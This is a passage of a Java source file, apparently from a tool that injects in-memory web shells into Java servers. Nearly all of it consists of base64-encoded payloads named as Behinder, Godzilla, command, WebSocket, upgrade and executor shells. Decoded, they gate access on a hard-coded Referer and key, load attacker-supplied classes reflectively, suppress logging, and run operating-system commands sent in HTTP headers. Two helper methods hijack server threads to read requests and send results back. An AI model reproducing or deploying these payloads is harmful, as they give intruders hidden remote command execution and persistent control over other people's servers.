"ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7DQoJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInNlc3Npb24iLCBzZXNzaW9uKTsNCgkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCQkNCgkJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgCUNsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksbmV3IE9iamVjdFtde2V2aWxjbGFzc19ieXRlLCAJSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOw0KCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KfQ=="; - - public static String BEHINDER_SHELL_OBSCURE = "ew0KCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7DQoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7DQoJCQl0cnkgew0KCQkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vUUk0TC5jbi8iKSkgew0KCQkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgcmVxdWVzdCk7DQoJCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJCQlqYXZhLmxhbmcuU3RyaW5nQnVpbGRlciBwYXlsb2FkID0gbmV3IGphdmEubGFuZy5TdHJpbmdCdWlsZGVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSk7DQoNCgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgICAgICAgICA9IGdldFVuc2FmZSgpOw0KCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7DQoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ=="; - - public static String GODZILLA_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJU3RyaW5nIHBhc3MgPSAic3UxOCI7DQoJCQkJU3RyaW5nIG1kNSA9IG1kNShwYXNzICsgeGMpOw0KCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpKTsNCgkJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7DQoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCkgew0KCQkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kICAgICAgICAgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJCWRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7DQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsNCgkJCQkJZi5lcXVhbHMoYXJyT3V0KTsNCgkJCQkJZi5lcXVhbHMoZGF0YSk7DQoJCQkJCWYuZXF1YWxzKHJlcXVlc3QpOw0KCQkJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7DQoJCQkJCWYudG9TdHJpbmcoKTsNCgkJCQkJcmVzcG9uc2UuZ2V0V3JpdGVyKCkud3JpdGUoYmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKSk7DQoJCQkJCXJlc3BvbnNlLmdldFdyaXRlcigpLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0="; - - public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; - - public static String GODZILLA_RAW_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJYnl0ZVtdIGRhdGEgPSBuZXcgYnl0ZVtJbnRlZ2VyLnBhcnNlSW50KHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpKV07DQogICAgICAgICAgICAJamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsNCgkJCQlpbnQgX251bSA9IDA7DQogICAgICAgICAgICAJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7DQoJCQkJZGF0YSA9IHgoZGF0YSwgZmFsc2UpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwpIHsNCgkJCQkJamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgdXJsQ2xhc3NMb2FkZXIgPSBuZXcgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIobmV3IGphdmEubmV0LlVSTFswXSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOw0KCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7DQoJCQkJCWYuZXF1YWxzKGFyck91dCk7DQoJCQkJCWYuZXF1YWxzKGRhdGEpOw0KCQkJCQlmLnRvU3RyaW5nKCk7DQoJCQkJCXJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0="; - - public static String CMD_SHELL_FOR_TOMCAT = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCU9iamVjdCBsYXN0UmVzcG9uc2UgPSByZXNwb25zZTsNCg0KCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShyZXNwb25zZSxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlub0xvZyhyZXF1ZXN0KTsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQkoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlKSBsYXN0UmVzcG9uc2UpLmdldFdyaXRlcigpLnByaW50bG4oZXhlY0NtZChjbWQpKTsNCgkJfQ0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJfQ0KfQ=="; - - public static String CMD_SHELL = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS5wcmludGxuKGV4ZWNDbWQoY21kKSk7DQoJCX0NCgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCX0NCn0="; - - public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; - - public static String UPGRADE_SHELL = "ew0KCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IHJlcXVlc3QgPSAkMTsNCg0KCQl0cnkgew0KCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgY29tbWFuZCAgPSByZXF1ZXN0LmdldEhlYWRlcigiUUk0TCIpOw0KCQkJb3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UgcmVzcG9uc2UgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UpIGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlc3BvbnNlIik7DQoJCQlyZXNwb25zZS5kb1dyaXRlKGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChleGVjQ21kKGNvbW1hbmQpLnRvQnl0ZUFycmF5KCkpKTsNCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KDQoJCXJldHVybiBmYWxzZTsNCgl9"; - - public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; - - // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 - public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; - - // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode - public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; - - // toCString - public static String TO_CSTRING_Method = 